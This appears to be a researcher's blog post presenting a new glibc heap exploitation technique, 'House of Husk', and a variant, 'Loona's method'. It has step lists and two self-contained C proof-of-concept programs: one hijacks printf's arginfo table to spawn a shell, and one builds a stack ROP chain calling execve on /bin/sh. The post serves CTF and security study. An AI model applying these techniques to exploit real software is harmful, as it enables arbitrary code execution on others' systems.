Yesterday I came up with an idea of a new heap exploitation technique. As far as I googled it, nobody had published the technique yet and I named it "House of Husk."
The technique makes it easy to control RIP under the condition that we can malloc/free large chunks which have UAF. It introduces and takes advantage of a little known function table rather than introduce a new exploitation vector.
PoC:
Japanese version:
Primitive
register_printf_function
There exists a function named register_printf_function
in libc.
As the name suggests, it registers a new format string for printf
.
This function calls __register_printf_specifier
and it allocates __printf_arginfo_table
in the first time like this:
if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1); }
On the other hand, some functions with format string, such as printf
and sprintf
, check if __printf_function_table
is registered in the following way.
if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional;
If not, it goes to a fast path which implements the default format string.
If registered, it jumps to the slow path in which the registered format is used.
In order to check the type of arguments, it calls a function registered in __printf_arginfo_table
before using one in __printf_function_table
.
Relative overwrite
I've already explained it in this article of House of Corrosion in Japanese. I'll write it briefly in English here.
The principle is that we make global_max_fast
a big value using unsorted bin attack.
After that, (mostly) all large freed chunks will be listed in "fastbin."
global_max_fast
is supposed to be smaller, not bigger, so it actually overwrites data out of main_arena
.
If you want to overwrite data that is located delta
-byte after fastbin
, you may just free a chunk whose size is
size = (delta * 2) + 0x20
Husk's method
Premise
House of Husk doesn't depend on the version of libc as long as it has fastbins and unsorted bin attack is available.
- UAF on a chunk listed in unsorted bin
- 2 large mallocs in addition to some normal (but a bit large) mallocs (In libc-2.27 requires a 0x9420 and 0x1850-byte malloc)
- If we can leak the heap address (which is usually the case), we only need 1-unsortedbin-sized mallocs. (such as malloc(0x500))
- printf with format string (works with an invalid format too like
%?
)
The detailed condition is up to the situation. Read the PoC.
The good
It's useful when we can allocate only large chunks.
As far as I know (and read some writeups) the conventional method requires something like modifying main_arena
and overwriting __malloc_hook
or __free_hook
.
It's hard in that it needs to pass the size check of fastbin.
House of Husk works with some simple steps, which is easy to understand as well, and the size check no longer matters.
Exploit
Just take the following steps:
- Leak libc address
- Make
global_max_fast
large by unsorted bin attack - Write the address of a fake arginfo table to
__printf_arginfo_table
by "relative overwrite" - Write a non-null value to
__printf_function_table
by "relative overwrite" - Call
printf
with format string
We have to prepare a function pointer in the fake arginfo table at the offset which corresponds to the character code of the format string.
In printf_positional
called by printf
, __printf_arginfo_table[c]
will be called and we may get RIP.
PoC
Simple :)
#include <stdio.h> #include <stdlib.h> #define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define PRINTF_FUNCTABLE 0x3f0658 #define PRINTF_ARGINFO 0x3ec870 #define ONE_GADGET 0x10a38c int main (void) { unsigned long libc_base; char *a[10]; setbuf(stdout, NULL); a[0] = malloc(0x500); a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA)); a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA)); a[3] = malloc(0x500); free(a[0]); libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA; printf("libc @ 0x%lx\n", libc_base); *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET; *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10; a[0] = malloc(0x500); free(a[1]); free(a[2]); printf("%X", 0); return 0; }
Yay!
ptr@medium-pwn:~/temp$ gcc poc.c && ./a.out libc @ 0x7ffff79e4000 $ whoami ptr
Loona's method
I found a different but similar technique and named it "Loona's method."
Premise
Compred with Husk's method, printf
is not longer necessary in Loona's method.
Instead, it requires some RW UAFs and more malloc/free.
The good
It's helpful when
- one gadget doesn't work
- the binary is statically linked
- have seccomp
meaning when you want to execute your rop chain.
Exploit
Follow the next steps:
- leak libc address (if necessary)
- unsorted bin attack to overwrite
global_max_fast
- free a chunk whose size corresponds to
environ
- overwrite 1 or 2 bytes of fd to point it to a fake chunk header
- prepare the fake chunk header on the stack by using stack leftover for example
- malloc two times with the size for
environ
- the second malloc returns the stack pointer and you can just do rop (read canary if necessary)
Be careful that environ
is broken when your rop chain works.
PoC
#include <stdio.h> #include <stdlib.h> #define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define ENVIRON 0x3ee098 #define LIBC_BINSH 0x1b3e9a #define LIBC_POP_RDI 0x2155f #define LIBC_POP_RSI 0x23e6a #define LIBC_POP_RDX 0x1b96 #define LIBC_EXECVE 0xe4e30 unsigned long libc_base, addr_env, ofs_fake; char *a[10]; int i; int main (int argc, char **argv, char **envp) { unsigned long fake_size; setbuf(stdin, NULL); setbuf(stdout, NULL); ofs_fake = (void*)envp - (void*)&fake_size; a[0] = malloc(0x500); a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA)); a[2] = malloc(0x500); free(a[0]); libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA; printf("libc @ 0x%lx\n", libc_base); *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10; a[0] = malloc(0x500); free(a[1]); addr_env = *(unsigned long*)a[1]; printf("environ = 0x%lx\n", addr_env); *(unsigned long*)a[1] = addr_env - ofs_fake - 8; fake_size = (offset2size(ENVIRON - MAIN_ARENA) + 0x10) | 1; a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA)); a[3] = malloc(offset2size(ENVIRON - MAIN_ARENA)); for(i = 0; i < 0x20; i++) { *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI + 1; } *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDX; i++; *(unsigned long*)(a[3] + i*8) = 0; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RSI; i++; *(unsigned long*)(a[3] + i*8) = 0; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_BINSH; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_EXECVE; i++; getchar(); return 0; }
Example usage in CTF challenges: